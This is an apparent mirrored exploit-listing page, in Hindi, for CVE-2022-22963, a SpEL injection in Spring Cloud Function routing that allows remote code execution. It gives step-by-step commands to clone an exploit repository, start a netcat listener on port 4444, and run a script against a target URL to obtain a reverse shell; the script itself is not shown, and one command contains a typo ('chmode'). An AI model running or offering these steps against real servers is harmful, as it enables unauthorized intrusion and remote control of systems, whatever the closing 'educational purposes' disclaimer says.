Exploit for CVE-2022-22963

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JRBH4CK-CVE-2022-22963
# CVE-2022-22963

Spring Cloud Function के संस्करण 3.1.6, 3.2.2 और इससे पहले के संस्करणों में, रूटिंग कार्यक्षमता का उपयोग करते समय, कोई उपयोगकर्ता रूटिंग एक्सप्रेशन के रूप में विशेष रूप से तैयार किया गया SpEL प्रदान कर सकता है, जिसके परिणामस्वरूप रिमोट कोड निष्पादन और स्थानीय संसाधनों तक पहुँच हो सकती है।

## PoC

रिपॉजिटरी को क्लोन करें

root@kitploit:~
    
    
    git clone https://github.com/jrbH4CK/CVE-2022-22963.git
    

फ़ोल्डर में प्रवेश करें

root@kitploit:~
    
    
    cd CVE-2022-22963
    

निष्पादन अनुमतियाँ बदलें

root@kitploit:~
    
    
    chmode +x springCloud.sh
    

वांछित पोर्ट पर nc प्रारंभ करें

root@kitploit:~
    
    
    nc -nlvp 4444
    

अपनी आवश्यकताओं के अनुसार पैरामीटर बदलकर निम्नलिखित कमांड चलाएँ

root@kitploit:~
    
    
    ./springCloud.sh url lhost lport
    

नोट: इस रिपॉजिटरी का उपयोग करने की ज़िम्मेदारी उपयोगकर्ता की है, लेखक की नहीं, केवल शैक्षिक उद्देश्यों के लिए।